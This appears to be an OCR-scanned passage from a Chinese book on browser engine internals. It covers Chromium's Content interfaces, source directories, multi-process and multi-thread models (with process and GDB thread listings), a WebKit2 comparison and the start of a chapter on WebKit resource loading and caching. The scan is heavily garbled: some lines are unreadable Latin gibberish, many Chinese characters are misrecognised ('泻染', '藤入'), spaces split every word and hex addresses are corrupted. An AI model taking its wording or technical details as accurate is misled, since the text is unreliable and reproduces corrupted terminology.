一 类 主要 包括 进程 创建 的 初始 化 函数 ， 也 就 是 Content 模 块 的 初始 化 
和 关闭 动作 ， 第 二 类 主要 是 各 种 回调 函数 ， 用 来 告诉 藤 入 者 启动 完 
成 ， 进 程 局 动 、 退 出 ， 沙 使 模 型 初始 化 开始 和 结束 等 。 

e Browser 


同样 包括 两 类 ， 第 一 类 包括 对 一 些 HTIML5 功 能 和 其 他 一 些 高 级 功 








能 实现 的 参与 ， 因 为 这 些 实现 需要 Chromium 的 不 同 平台 的 实现 ， 
同时 需要 例如 Notification、Speech recognition, Web worker, 
Download、Geolocation 等 这 些 Content 层 提供 的 接口 ，Content 模 块 
需要 调用 它们 来 实现 HIML5 功 能 。 第 二 类 中 的 典型 接口 类 是 
ContentBrowserClient， 主 要 是 实现 部 分 的 逻辑 ， 被 Browser 进 程 调 
用 ， 还 有 就 是 一 些 事 件 的 函数 回调 。 

e Common 
主要 定义 一 些 公共 的 接口 ， 这 些 被 Renderer 和 Browser 共 享 ， 例 如 一 
些 进 程 相关 、 参 数 、GPU 相 关 等 。 

e。 Plugin 
仪 有 一 个 接口 类 ， 通 知 散 入 者 Plugin 进 程 何 时 被 创建 。 

e Renderer 
该 部 分 也 包括 两 类 ， 第 一 类 包含 获取 RenderThread 的 消息 循环 、 注 
册 V8 Extension、 计 算 JavaScript 表 达 式 等 ， 第 二 类 包括 
ContentRendererClient， 主 要 是 实现 部 分 逻辑 ， 被 Browser 端 “〈 或 者 
进程 ) 调 用 ， 还 有 就 是 一 些 事 件 的 函数 回调 。 

e Utility 
THAR, EB ARIKA ES Content O PAE A EM 
FAYED 


3.2.2 KE: 从 Chromium 代 码 结构 
和 运行 状态 理解 现代 浏览 占 


下 面 让 我 们 阅读 Chromium 的 代码 结构 以 及 详细 了 解 Chromium 运 行 
时 候 的 状态 信息 来 帮助 读者 对 上 面 介 绍 的 架构 模型 有 直观 的 印象 。 








3.2.2.1 Chromium 代码 结构 


图 3-8 显 示 的 是 Chromium 项 目的 一 级 目录 ， 节 选 了 其 中 重要 的 模 
块 ， 略 去 了 一 些 次 要 的 部 分 。 读 者 会 发 现 ， 这 其 中 已 经 包含 了 很 多 模 
块 。 


从 图 中 的 各 个 目录 和 后 面 的 解释 ， 基 本 可 以 看 出 Chromium 在 
WebKit 之 上 引入 了 很 多 新 特性 和 功能 。 除 此 之 外 ，Chromium 项 目 除 了 
包括 浏览 器 ， 还 包括 ChromiumOS 和 Chrome Frame, Xt Æ AA HE 
方 。ChromiumOS 就 是 一 个 基于 Web 的 操作 系统 ， 仅 支持 Web 网 页 和 
Web 应 用 程序 。 而 Chrome Frame 是 一 个 有 趣 的 东西 ， 其 目的 是 提供 一 个 
基于 WebKit 和 Content 的 支持 HTML5 的 插件 ， 该 插件 可 以 运行 在 下 浏览 
器 中 ， 以 弥补 老 版 本 的 正 浏览 器 对 HTML5 支 持 不 足 的 问题 ， 不 过 它 很 
快 就 会 被 抛弃 。 


图 中 省 略 了 一 个 其 实 非 营 重 要 的 目录 ， 那 就 是 “third_party”。 访 目 
录 保 存 了 Chromium 所 依赖 的 所 有 第 三 方 开 源 项 目 。 因 为 Chromium 提 供 
了 很 多 新 特性 和 功能 ， 相 应 地 ， 这 些 新 功能 也 需要 很 多 库 来 文 持 ， 而 且 
这 些 特性 和 功能 会 存在 一 些 不 足 ， 或 者 Chromium 有 特定 需求 ， 所 以 ， 
Chromium 的 做 法 就 是 将 超过 150 个 的 项 目 直接 包含 进来 。 其 实 ，Blink 的 
代码 也 被 包含 在 其 中 。 





读者 可 以 将 图 中 的 代码 目录 结构 同 图 3-4 中 的 模块 对 应 ， 理 解 它们 
是 如 何 被 组 织 的 ， 当 然 实际 的 代码 远 不 止 这 些 。 在 描述 完 一 级 目录 之 
后 ， 下 面 重 点 描述 的 是 Content 目 录 ， 其 目录 安排 如 图 3-9 所 示 。 结 构 很 
容易 理解 ， 它 们 基本 上 对 应 了 多 进程 模型 中 的 各 种 进程 类 型 。 





src/ 








apps Chromium 中 用 来 支持 Web 应 用 程序 的 代码 

base 各 种 各 样 的 基础 设施 类 ， 例 如 消息 循环 、 线 程 、 日 志 、 文 件 等 
build 编 详 使 用 的 各 种 脚本 ，Chromium 使 用 GYP 来 生成 Make 文件 
cc Chromium Compositor， 合 成 众多 图 形 层 的 合成 器 

chrome 在 Content 之 上 构建 浏览 器 需要 的 各 个 模块 ， 例 如 用 户 界 面 等 














chrome frame IE 浏览 器 中 的 插件 ，IE 使 用 它 米 支持 HTML5 











chrome_os Chrome OS 的 相关 代码 

components Chrome 项 目 逐步 将 “chrome” 目 录 中 的 功能 模块 化 ， 这 些 模块 可 以 被 “content” 层 所 使 用 
content Content 模块 的 实现 和 接口 

extensions Chromium 的 扩展 机 制 ， 逐 渐 从 chrome 移出 来 

google* Google 相关 服务 

gpu GPU 硬件 加 速 机 制 包括 GPU 进程 和 command buffer 等 

ipe 顾名思义 ， 进 程 间 通信 机 制 

media 多 媒体 支持 的 框架 和 优化 

native_client Chromium 的 native client 机 人 制 | 

net 网 络 栈 和 新 的 网 络 机 制 ， 如 SPDY. QUIC 

ppapi PPAPI 模块 

remoting Chromoting， 也 就 是 远程 桌面 ， 为 ChromeOS 服务 

sandbox 沙 箱 模 型 

skia 2D 绘图 库 

ui Chromium 的 UI 基础 框架 ,包括 与 平台 无 关 的 “views ”框架 
v8 V8 JavaScript 引擎 

webkit Chromium 使 用 WebKit 的 黏附 层 代码 


图 3-8 Chromium 的 源 代码 结构 


sre/content 


app 各 个 进程 的 公共 实现 部 分 

browser Browser 进程 所 需 的 代码 

common 被 进程 共享 的 代码 

gpu GPU 进程 的 代码 

plugin 插件 进程 的 代码 

public 是 供 Content 接口 的 目录 
app 目录 结构 跟 Content 下 面 的 结构 非常 

类 似 ， 因 为 它 表 示 的 是 各 个 进程 的 接口 

brows 
common 
renderer 

renderer renderer 进 程 的 相 KR f ti 

Sheli Content Shell 的 代码 


图 3-9 “content” H R445 


Content 的 接口 主要 在 “public” 目 录 中 ， 它 包含 的 目录 也 是 按照 进程 
类 型 来 划分 的 。 读 者 回顾 一 下 之 前 关于 这 部 分 接口 的 介绍 就 能 明白 它们 
的 对 应 关系 。 





3.2.2.2 Chromium 多 进程 


笔者 希望 通过 运行 中 的 Chrome 浏 览 器 来 帮助 读者 理解 多 进程 模 
型 ， 主 要 步骤 如 下 。 


1. {TF Chromed war AETA ANERER, PIAL BP 
hE: http://blog.csdn.net/milado_nju#llhttp://www.webkit.org/blog- 
files/3d-transforms/morphing-cubes.html. 

2. SIMMER eas, ERA IA i S17 ARP, RE] Google 
Chrome” 相 应 的 信息 。 

3. 读者 会 发 现 总 共有 5 个 “Google Chrome” 进 程 ， 如 图 3-10 所 示 。 








(gg Google Chrome (32 bit) “C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" 

© Google Chrome (32 bit) "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=gpu-process --channel= 
图 Google Chrome (32 bit) “C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=ppapi --channel="3116." 
图 Google Chrome (32 bit) “C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=renderer --lang=zh-CN - 
© Google Chrome (32 bit) “C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=renderer --lang=zh-CN - 


图 3-10 Google Chrome 浏 览 器 在 Windows 上 的 多 进程 示例 图 





在 5 个 进程 中 ， 其 中 第 一 个 没有 参数 ， 它 就 是 主 进程 “Browser”。 后 
面 四 个 进程 都 有 参数 ， 其 中 第 一 个 参数 表示 的 是 进程 类 型 ， 图 中 分 别 是 
GPU 进程 、PPAPI 进 程 和 两 个 Renderer 进 程 。 读 者 会 发 现 这些 进 程 共享 
同一 个 二 进 制 可 执行 文件 。 有 兴趣 的 读者 可 以 再 研究 一 下 后 面 的 参数 ， 
它们 用 来 表示 IPC 等 信息 。 











上 面 的 例子 中 ， 之 所 以 打开 第 一 个 网 址 ， 是 因为 它 会 触发 创建 
PPAPI 进 程 ， 之 所 以 打开 第 二 个 网 址 ， 是 因为 需要 硬件 加 速 机 制 ， 它 会 
触发 创建 GPU 进程 。 包 


3.2.2.3 ”Chromium 多 线程 
下 面 以 Linux 平 台 的 Chromium 浏 览 右 为 例 ， 介 绍 Browser 进 程 和 


Renderer 进 程 中 包含 的 线程 的 情况 。 首 先 来 看 Browser 进 程 ， 该 进程 包含 
了 非常 多 的 线程 ， 多 达 28 人 个， 图 3-11 显 示 的 是 Linux 平 台 下 Chromium 浏 


览 露 的 Browser 进 程 的 线程 信息 。 和 查看 方法 很 简单 ， 就 是 使 用 GDB 调 试 
该 进程 ， 然 后 输入 “info threads” 查 看 结果 。 


28 Thread 0x7f1b45c5c700 (LWP 1985) "dconf worker" @x@0007f1b4e22e303 in poll ( 
27 + Thread @x7f1b4545b700 (LWP 1906) "gdbus" @x00007f1b4e22e303 in poll () from 
26 Thread @x71b439a4700 (LWP 1907) "“NetworkChangeNo” @x@0007f1b4e235ed9 in sys 
25 Thread @x7#1b431a3700 (LWP 1908) “inotify_reader" @x00007f1b4e233023 in sele 
24 Thread @x7f1b429a2700 (LWP 1909) “WorkerPool/1989" @0x00007f1b4f38b0fe in pth 
23 Thread @x7f1b42960700 (LWP 1911) “AudioThread" @x@@007f1b4f38ad84 in pthread 
22 Thread @x7#1b40d22700 (LWP 1912) “threaded-ml" 0x@@007f1b4e22e303 in poll () 
21 Thread @x7f1b46f33700 (LWP 1913) "CrShutdownDetec" @x@0007f1b4f38dd2d in rea 
20 Thread @x7f1b3ba96700 (LWP 1914) “Chrome_DBThread" @x0@0007f1b4f38ad84 in pth 
19 Thread @x7f1b3b295700 (LWP 1915) "Chrome_WebKitTh" @x@0007f1b4f38ad84 in pth 
18 Thread @x7f1b3aa94700 (LWP 1916) “Chrome_FileThre” @x@0007f1b4e235ed9 in sys 
17 Thread @x7f1b3a293700 (LWP 1917) “Chrome_FileUser” 9x@0007f1b4f38ad84 in pth 
16 Thread @x7f1b39a92700 (LWP 1918) “Chrome_ProcessL" 9x@0007f1b4f38ad84 in pth 
15 Thread @x7f1b39291700 (LWP 1919) "Chrome_CacheThr” @x@0007f1b4e235ed9 in sys 
14 Thread @x7f1b38a90700 (LWP 1920) "“Chrome_IOThread" @x@0007f1b4e235ed9 in sys 
13 Thread @x7f1b378a2700 (LWP 1921) “Proxy resolver" @x@0007f1b4f38ad84 in pthr 
12 Thread @x7f1b36e817@0 (LWP 1922) "MediaStreamDevi" @x@0007f1b4f38ad84 in pth 
11 Thread @x7f1b366807@0 (LWP 1925) "“BrowserBlocking” 0x00007f1b4f38ad84 in pth 
19 Thread 0x7f1b35e7f7900 (LWP 1926) "“BrowserWatchdog" @x@0007f1b4f38befe in pth 
9 Thread 0x7f1b3547b700 (LWP 1932) "Proxy resolver" @x90007f1b4f38ad84 in pthr 

Thread @x7f1b34c7a700 (LWP 1933) “Chrome_SafeBrow” 0x00007f1b4f38ad84 in pth 
7 Thread @x7f1b3117d700 (LWP 1935) "BrowserBlocking" @x@0007f1b4f38ad84 in pth 
6 Thread @x71b3097c700 (LWP 1936) "“renderer_crash_" @x@0007f1b4f38ad84 in pth 
5 Thread @x7f1b2fd19700 (LWP 1944) "Chrome_HistoryT" @x@0007f1b4f38befe in pth 
4 Thread @x7f1b2f4f8700 (LWP 1950) "NSS SSL ThreadW" @x@0007f1b4f38ad84 in pth 
3 Thread @x7#1b42981700 (LWP 2044) “WorkerPool/2044" @x@@e07f1b4f38befe in pth 
2 Thread @x7#1b33e45700 (LWP 2067) “LevelDBEnv" @x@0007f1b4f38ad84 in pthread_ 
al Thread @x7f1b478bf980 (LWP 1902) "chrome" @0x00007f1b4e22e303 in poll () from 


图 3-11 Linux 平台 下 Chromium 浏 览 器 的 Browser 进 程 的 线程 信息 


其 中 线程 1*chrome” 是 主线 程 , “Chrome_IOThread” 线 程 就 是 IO 线 
程 。 Aca eas TRIN ZR, HRAMA AR. 2K. SCPE. TF 
wl. DWE SESE. AT MR BIH ee A Ay HEE AES BRE AY peH E 
uN 所 以 Chromium 需 要 置 于 单独 的 线程 。 





下 面 惑 是 Renderer 进 程 中 的 线程 信息 。Renderer 进 程 至 少 有 4 个 线 
程 ， 之 后 可 能 会 有 更 多 的 线程 ， 这 是 因为 Chromium 希 望 将 Blink 的 泻 染 
过 程 分 成 很 多 独立 的 阶段 ， 对 于 每 一 个 阶段 ，Blink 为 它 创建 一 个 新 的 
线程 ， 从 而 利用 CPU 的 多 核能 力 ， 加 快 网 页 的 泻 染 速度 ， 这 束 像 流水 线 
处 理 一 样 ， 可 以 极 大 地 提高 并 发 性 。 图 3-12 显 示 的 是 Linux 平 台 下 
Chromium 浏 览 器 的 Renderer 进 程 的 线程 信息 (查看 的 方法 同上 ) 








Thread @x7ff16212a700 (LWP 9096) 
Thread @x7ff1619297008 (LWP 9097) 
Thread @x7f1607d2700 (LWP 9100) 
Thread @x7ff163d4f980 (LWP 9095) 


PNWA 


“Chrome_ChildIOT" syscall () at ../sysdeps 
"VC manager" pthread_cond_wait@@GLIBC_2.3. 
"chrome" pthread_cond_wait@@GLIBC_2.3.2 () 
"chrome" pthread_cond_timedwait@@GLIBC_2.3 


图 3-12 Linux 平 台 下 Chromium 浏 览 器 的 Renderer 进 程 的 线程 信息 


其 中 线程 1“chrome” 是 主线 程 ，“Chrome IOThread” 线 程 就 是 IO 线 
程 。 而 线程 2 的 名 字 也 是 “chrome”， 不 过 这 不 足 为 奇 ， 它 是 一 个 新 的 线 
程 ， 用 来 解释 HTML 文 档 ， 这 也 是 Chromium 不 同 于 其 他 基于 WebKit 的 


浏览 器 之 处 。 


对 于 GPU 等 进程 来 说 ， 结 构 就 要 简单 很 多 ， 基 本 就 是 一 个 主线 程 











(处 理 逻 辑 ) 和 IO 线程 ， 请 读者 上 自行 查看 。 


3.3 WebKit2 


3.3.1 “WebKit2 架 构 及 模块 


相 比 于 狭义 的 WebKit，WebKit2 是 一 套 全 新 的 结构 和 接口 ， 而 不 是 
一 个 简单 的 升级 版 。 它 的 主要 目的 和 思想 同 Chromium 类 似 ， 就 是 将 泻 
染 过 程 放 在 单独 的 进程 中 来 完成 ， 独 立 于 用 户 界面 。 网 3-13 显 示 的 是 
WebKit2 的 接口 和 使 用 方式 以 及 内 部 的 进程 模型 。 


应 用 程序 


WebKit2 接口 
WebKit (UI 进程 ) 


WebKit (Web 进程 ) 


图 3-13” WebKit2 接 口 和 进程 模型 





依旧 是 自 底 向 上 介绍 。 是 的 ，WebKit2 中 也 引入 了 插件 进程 ， 而 且 
它 还 引入 了 网 络 进 程 。 图 中 的 “Web 进 程 ” 对 应 于 Chromium 中 的 Renderer 
进程 ， 主 要 是 泻 染 网 页 。 在 这 之 上 的 是 “UI 进程 "”， 它 对 应 于 Chromium 
中 的 Browser 进 程 。 接 口 就 骏 露 在 该 进程 中 ， 应 用 程序 只 需 调 用 该 接口 
即 可 。 其 中 “应 用 程序 ” 指 的 是 浏览 器 或 者 任何 使 用 该 接口 的 程序 。 








3.3.2 WebKit#llWebKit2ix A RH% O 





WebKit 提 供 艇 入 式 接 口 ， 该 接口 表示 其 他 程序 可 以 将 网 页 泻 染 艇 入 
在 程序 中 作为 其 中 的 一 部 分 ， 或 者 用 户 界 面 的 一 部 分 。 当 然 这 只 是 一 般 
情况 ， 不 代表 所 有 的 移植 都 是 这 样 。 对 于 WebKit 的 Chromium 移 植 来 
说 ， 它 的 接口 主要 用 于 Chromium 浏 览 堪 ， 而 不 是 对 入 式 的 使 用 方式 。 


下 面 以 WebKit 的 EFL 移 植 部 分 为 例 。EFL 是 一 个 类 似 于 GTK 的 图 形 
工具 包 ， 被 应 用 在 开源 操作 系统 Tizen 中 。 在 WebKit 项 目 中 ， 狭 义 
WebKit 的 接口 主要 是 与 移植 相关 的 ewk_view 文 件 中 的 相关 类 。 其 主要 
思想 是 将 网 页 的 泻 染 结果 作为 用 户 界 面 中 的 一 个 窗口 部 件 ， 从 这 个 角度 
上 看 ， 这 跟 其 他 的 部 件 没有 什么 不 同 ， 区 别 在 于 它 用 来 显示 网 页 的 内 
容 。 总 结 这 些 接口 ， 按 功能 大 致 可 以 把 所 有 接口 分 成 六 种 类 型 : 第 一 
类 ， 设 置 加 载 网 页 、 获 取 加 载 进度 、 停 止 加 载 、 重 新 加 载 等 ， 第 二 类 ， 
裔 历 前 后 浏览 记录 类 ， 可 以 前 进 、 后 退 等 ,第 三 类 ， 网 页 的 很 多 设置 ， 
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功能 。 这 些 类 型 大 概 有 180 多 个 接口 ， 非 常 之 多 。 























WebKit2 接 口 不 同 于 WebKit 的 接口 ， 它 们 是 不 兼容 的 。 当 然 ， 目 的 
却 是 差不多 的 ， 都 是 提供 租 入 式 的 应 用 接口 。WebKit2 接 口 大 致 可 以 分 
为 两 个 大 的 部 分 ， 同 样 以 EFL 的 移植 部 分 为 例 加 以 说 明 。 

第 一 部 分 是 WebView 相 关 的 接口 ， 表 示 泻 染 的 设置 、 演 染 过 程 、 界 
面 等 ， 其 中 大 多 数 跟 各 个 移植 紧密 相关 。 这 里 有 三 个 主要 的 类 ， 它 们 被 
各 个 移植 所 共享 。 


e WKView[Refl: 表示 的 是 一 个 与 平台 相关 的 视图 ， 例 如 在 
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e WKContextRef: ”所 有 页 面 的 上 下 文 ， 这些 被 共享 的 信息 包括 local 
storage、 设 置 等 。 

。 WKPageRef: 表示 网 页 ， 也 就 是 浏览 的 基本 单位 。 











虽然 下 面 有 大 量 跟 移植 相关 的 类 ， 最 主要 的 接口 其 实 还 是 
ewk_view。 在 EFL 中 ，WebKit2 的 ewk_view 接 口 同 WebKit 还 是 比较 相似 
的 ， 提 供 的 功能 也 类 似 ， 都 是 一 个 能 够 泻 染 网 页 的 窗口 部 件 。 但 是 ， 其 
接口 比 WebKit 的 部 件 少 很 多 ， 去 除 一 些 不 是 很 有 用 的 接口 ， 大 概 还 有 48 
个 接口 。 接 口 类 中 还 有 很 多 其 他 跟 移 植 相 关 的 类 ， 它 们 很 多 是 为 提供 该 
窗口 部 件 服务 的 ， 例 如 历史 记录 等 。 








第 二 部 分 是 上 面 接口 依赖 的 基础 类 ， 它 们 被 各 个 移植 所 共享 ， 既 包 
括 容器 、 字 符 串 等 基础 类 ， 也 包括 跟 网 页 相关 的 基础 关 ， 例如 URL、 请 
求 、 网 页 设置 等 。 








WebKit2 还 有 一 部 分 接口 其 实 是 在 Web 进 程 里 的 ， 那 就 是 
WebBundle， 其 目的 是 让 某 些 移植 访问 DOM， 目 前 还 没有 明确 的 需求 。 


3.3.3 ”比较 WebKit2 和 Chromium 的 多 
进程 模型 以 及 接口 


前 面 提 到 WebKit2 的 多 进程 模型 参考 了 Chromium 的 模型 和 框架 
且 WebKit2 也 提供 了 多 进程 之 上 的 接口 层 ， 那 么 这 二 者 有 什么 显著 的 区 
别 吗 ? 


图 3-14 详 细 描述 了 WebKit 接 口 和 Chromium 的 多 进程 的 关系 ， 以 及 
和 Content 接 口 的 和 关系。 前面 笔者 也 介绍 了 一 些 ， 例 如 Renderer 进 程 直接 
调用 WebKit 接 口 ， 以 及 和 Content 接 口 允 许 应 用 程序 注入 并 参与 Content 
之 下 各 个 进程 的 内 部 逻辑 。 


应 用 程序 








Blink 


图 3-14 ”Content 接口 详解 


首先 ，Chromium 使 用 的 仍然 是 WebKit 接 口 ， 而 不 是 WebKit2 接 口 ， 
也 就 是 说 Chromium 是 在 WebKit 接 口 之 上 构建 的 多 进程 架构 。 


其 次 ，WebKit2 的 接口 希望 尽量 将 多 进程 结构 隐藏 起 来 ， 如 图 3-13 
所 示 ， 这 样 可 以 让 应 用 程序 不 必 纠 缠 于 内 部 的 细节 ， 例 如 邮件 客户 端 
等 。 但 是 ， 对 Chromium 来 说 ， 它 的 主要 目的 是 给 Chromium 提 供 Content 
接口 以 便 构建 浏 览 器 ， 其 本 喘 目 标 不 是 提供 藤 入 式 接 口 ， 虽 然 有 CEF 项 
目 基 于 它 构 建 了 舱 入 式 接 口 。 


最 后 ，Chromium 中 每 个 进程 都 是 从 相同 的 三 进 制 可 执行 文件 启 
动 ， 而 基于 WebKit2 的 进程 则 未 必 如 此 ， 这 当然 也 跟 二 者 的 设计 理念 不 
AX. 
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(1) 在 目前 Chromium 依 赖 的 Blink 中 ， 已 经 将 该 脚本 移 除 掉 了 ， 读 者 可 能 需要 
www.chromium.org 上 的 指令 来 编译 它 。 

(2) ”最 近 的 更 新 则 是 上 面 说 的 WebKit 的 布局 测试 也 从 DumpRenderTree( 它 基于 WebKit 的 
Chromium 移 植 ， 而 不 是 Content) 移 到 这 一 层次 来 。 

(3) 这 有 严格 的 要 求 ， 详 细 的 情况 请 查看 以 下 链接 以 便 作 进一步 的 了 解 : 
http://www.chromium.org/developers/lock-and-condition-variable. 


(4) 在 Linux 中 也 是 类 似 的 情况 ， 但 是 稍微 有 些 不 同 ， 上 面 介绍 过 ， 这 里 不 再 费 述 。 






























































第 4 草 ”资源 加 载 和 网 络 栈 


使 用 网 络 栈 来 下 载 网 页 和 网 页 中 的 资源 是 泻 染 引擎 工作 过 程 的 第 一 
步 ， 也 是 非常 消耗 时 间 的 步骤 。 本 章 首 先 介 绍 网 页 的 资源 类 型 和 WebKit 
的 资源 加 载 机 制 ， 然 后 剖析 Chromium 的 多 进程 资源 加 载 和 缓存 机 制 ， 
以 及 高 性 能 的 网 络 技术 。 








4.1 WebKit 资 源 加 载 机 制 
4.1.1 资源 


网 络 和 资源 加 载 是 网 页 的 加 载 和 泻 染 过 程 中 的 第 一 步 ， 也 是 必 不 可 
少 的 一 步 。 网 页 本 身 就 是 一 种 资源 ， 而 且 网 页 一 般 还 需要 依赖 很 多 其 他 
类 型 的 资源 ， 例 如 图 片 、 视 频 等 。 因 为 资源 的 加 载 涉及 网 络 和 资源 的 组 
存 等 机 制 ， 而 且 它 们 在 整个 泻 染 过 程 中 占 的 比例 并 不 少 。 本 章 将 介绍 
WebKit 如 何 获 取 资 源 以 及 如 何 高 效 地 管理 资源 。HTML 支 持 的 资源 主要 
包括 以 下 类 型 。 





HTML: HIML 页 面 ， 包 括 各 式 各 样 的 HTML 元 素 。 

JavaScript: ” ”JavaScript 代码 ， 可 以 内 舱 在 HTML 文 件 中 ， 也 可 以 单 
独 的 文件 存在 。 

CSS 样 式 表 : CSS 样式 资源 ， 因 为 CSS 代 码 除了 可 以 内 散在 HTML 
文件 之 外 ， 还 可 以 以 单独 文件 形式 存在 。 

图 片 : “各 种 编码 格式 的 图 片 资源 ， 包 括 png、jpeg 等 。 当 然 还 有 一 
些 特殊 的 图 片 资源 ， 例 如 SVG 中 所 需 的 图 片 资源 。 

SVG: 用 于 绘制 SVG 的 2D 矢 量 图 形 表示 。 

CSS Shader: 文 持 CSS Shader 文 件 ， 目 前 WebKit 文 持 该 功能 。 
视频 、 音 频 和 字幕 : 多 媒体 资源 及 文 持 音 视 频 的 字幕 文件 
(TextTrack) 。 

字体 文件 : CSS 支 持 自 定 义 字 体 ，CSS3 引 入 的 自 定义 字体 文件 。 
XSL 样 式 表 : ”使 用 XSLT 语 言 编写 的 XSLT 代 码 文件 。 








上 面 这 些 资源 在 WebKit 中 均 有 不 同 的 类 来 表示 它们 ， 它 们 的 公共 基 
类 是 CachedResource。 图 4-1 中 表示 的 是 CachedResource 类 和 子 类 ， 基 本 
上 可 以 和 上 面 的 资源 一 一 对 应 ， 其 中 有 个 地 方 笔者 需要 指出 的 就 是 一 一 
好 像 HITML 文 本 没有 对 应 的 资源 类 ， 其 实 不 然 ， 在 WebKit 中 ， 它 的 类 型 
叫 MainResource 类 ， 与 其 对 应 的 资源 类 型 叫 CachedRawResource 类 。 
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图 4-1 WebKit 的 资源 类 





读者 可 能 会 好 奇 为 什么 资源 类 的 前 面 有 “Cached” 字 样 ， 其 实 这 古 因 
为 效率 问题 而 引入 的 缓存 机 制 ， 所 有 对 资源 的 请 求 都 会 先 获 取 绥 存 中 的 
言 轧 ， 以 决定 是 人 否 回 服务 露 提出 资源 请 求 。 


4.1.2 ”资源 缓存 


资源 的 缓存 机 制 是 提高 资源 使 用 效率 的 有 效 方法 。 它 的 基本 思想 是 
建立 一 个 资源 的 缓存 池 ， 当 WebKit 需 要 请 求 资源 的 时 候 ， 先 从 资源 池 中 
查找 是 否 存在 相应 的 资源 。 如 果 有 ，WebKit 则 取出 以 便 使 用 ;， 如 果 没 
有 ，WebKit 创 建 一 个 新 的 CachedResource 子 类 的 对 象 ， 并 发 送 真 正 的 请 
求 给 服务 器 ，WebKit 收 到 资源 后 将 其 设置 到 该 资源 类 的 对 象 中 去 ， 以 便 











于 缓存 后 下 次 使 用 。 这 里 的 绥 存 指 的 是 内 存 缓存 ， 而 不 同 于 后 面 在 网 络 
栈 部 分 的 磁盘 组 在。 图 4-2 显 示 了 这 一 机 制 的 原理 。 
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图 4-2 资源 的 缓存 机 制 


WebKit 从 资源 池 中 得 找 资源 的 关键 字 是 URL， 因 为 标记 资源 唯一 性 
的 特征 就 是 资源 的 URL。 这 也 意味 着 ， 假 如 两 个 资源 有 不 同 的 URL， 但 
是 它们 的 内 容 完 全 一 样 ， 也 被 认为 是 两 个 不 同 的 资源 。 其 实 ， 上 面 古 个 
简单 的 示意 图 ， 真 实 的 过 程 比 这 里 要 复 洒 ， 这 其 中 涉及 到 了 资源 的 生命 
周期 和 失效 机 制 。 


4.1.3 ”资源 加 载 右 


说 到 资源 加 载 促 ， 着 实 让 人 迷惑 ， 它 不 像 资源 那么 容易 理解 。 按 照 
加 载 器 的 类 型 来 分 ，WebKit 总 共有 三 种 类 型 的 加 载 器 。 


第 一 种 ， 和 针对 每 种 资源 类 型 的 特定 加 载 器 ， 其 特点 是 仅 加 载 菏 一 种 
资源 。 例 如 对 于 “image” 这 个 HTML 元 素 ， 该 元 素 需 要 图 片 资 源 ， 对 应 的 





特定 资源 加 载 器 是 InageLoader 类 。 对 于 CSS 自 定义 字体 ， 它 的 特定 资源 
加 载 器 是 FontLoader 类 。 这 些 资 源 加 载 器 没有 公共 基 类 ， 其 作用 就 是 当 
需要 请 求 资源 时 ， 由 资源 加 载 器 负责 加 载 并 隐藏 背后 复杂 的 逻辑 。 加 载 
器 属于 它 的 调用 者 ， 如 图 4-3 所 示 的 图 片 加 载 器 。 


图 4-3 ”特定 资源 加 载 器 

















第 二 种 ， 资 源 缓存 机 制 的 资源 加 载 右 的 特点 是 所 有 特定 加 载 器 都 共 
享 它 来 查找 并 插入 缓存 资源 CachedResourceLoader 类 。 特 定 加 载 器 
先是 通过 绥 存 机 制 的 资源 加 载 器 来 查找 是 否 有 绥 存 资源 ， 它 属于 HTML 
的 文档 对 象 ， 如 图 4-4 所 示 。 


ImageLoader 


2. 获取 资源 
1. 获取 CachedResourceLoader 


CachedResourceLoader 
HTML 文档 


图 4-4 从 CachedResourceLoader 获 取 资 源 






















第 三 种 ， 通 用 的 资源 加 载 器 一 一 ResourceLoader 类 ， 是 在 WebKit 需 
要 从 网 络 或 者 文件 系统 获取 资源 的 时 候 使 用 该 类 只 负责 获得 资源 的 数 
据 ， 因 此 被 所 有 特定 资源 加 载 器 所 共享 。 它 属于 CachedResource 类 ， 但 
它 同 CachedResourceLoader 类 没有 继承 关系 〈 这 点 容易 混 靖 ) ， 如 图 4-5 
所 示 。 








WebKit 网 络 模块 





图 4-5 ”从 CachedResourceLoader 获 取 资 源 


之 所 以 WebKit 这 样 设计 加 载 器 ， 主 要 还 是 因为 WebKit 想 将 其 中 的 
复杂 机 制 逐 渐 简化 为 若干 简单 步骤 。 但 是 ， 这 一 设计 确实 很 复杂 难 懂 ， 
希望 以 后 能 够 更 加 清晰 化 。 


41.4 ”过程 


经 过 上 面 这 些 分 析 ， 相 信 读 者 对 资源 加 载 过 程 已 经 有 一 个 大 致 的 印 
象 了 。 图 4-6 描 述 的 是 一 个 珊 有 资源 缓存 机 制 的 资源 加 载 的 全 过 程 ， 包 
括 资源 已 经 在 缓存 中 和 不 在 缓存 中 两 种 情况 。 


为 了 便于 说 明 这 一 过 程 ， 下 面 结合 一 个 实际 例子 加 以 说 明 资 源 是 如 
何 被 加 载 的 (也 就 是 整个 调用 过 程 》。 假 设 现 有 一 个 “img” 元 素 ， 其 属 
性 "src”" 的 值 是 一 个 有 效 的 URL 地 址 ， 那 么 当 HIML 解 析 器 解析 到 该 元 素 
的 该 属性 时 ，WebKit 会 创建 一 个 ImageLoader 对 象 来 加 载 该 资源 ， 
ImageLoader 对 象 通 过 图 4-6 所 示 的 过 程 创建 一 个 加 载 资源 的 请 求 。 下 面 
笔者 将 所 涉及 的 类 都 包含 进来 ， 大 致 的 调用 顺序 也 是 从 上 到 下 。 具 体 到 
最 下 面 的 ResourceHandleInternal 类 ， 它 依赖 于 每 个 WebKit 移 植 的 ie 策 
略 。Chromium 采 用 了 多 进程 资源 加 载 策 略 ， 这 将 在 下 面 一 节 介 


请 求 的 发 起 者 (如 FrameLoader ) 


资源 加 载 器 《〈 如 ImageLoader) 


WebCore 





WebKit H Chromium 移植 ResourceHandleInternal 





图 4-6 带 有 资源 缓存 机 制 的 资源 加 载 过 程 





鉴于 从 网 络 获取 资源 是 一 个 非常 耗 时 的 过 程 ， 通 常 一 些 资 源 的 加 载 
是 异步 执行 的 ， 也 就 是 说 资源 的 获取 和 加 载 不 会 阻碍 当前 WebKit 的 演 染 
过 程 ， 例 如 网 片 、CSS 文 件 。 当 然 ， 网 页 也 存在 某 些 特别 的 资源 会 阻碍 
主线 程 的 演 染 过 程 ， 例 如 JavaScript 代 码 文件 。 这 会 严重 影响 WebKit 下 
载 资 源 的 效率 ， 因 为 后 面 可 能 还 有 许多 需要 下 载 的 资源 ，WebKit 怎 么 做 
呢 ? 





